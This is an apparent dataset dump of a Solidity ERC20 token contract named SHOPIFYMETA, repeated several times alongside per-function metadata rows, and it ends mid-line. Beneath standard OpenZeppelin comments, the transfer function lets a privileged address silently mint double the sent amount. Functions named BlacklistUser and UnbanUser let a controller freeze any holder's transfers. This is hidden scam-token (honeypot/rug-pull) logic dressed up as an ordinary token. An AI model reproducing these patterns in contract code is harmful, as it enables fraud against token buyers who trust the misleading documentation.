_allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
name
function name() public view virtual override returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 861, 966 ] }
1,461
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
symbol
function symbol() public view virtual override returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 1080, 1189 ] }
1,462
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decimals
function decimals() public view virtual override returns (uint8) { return 18; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 1823, 1921 ] }
1,463
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
totalSupply
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 1981, 2094 ] }
1,464
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = 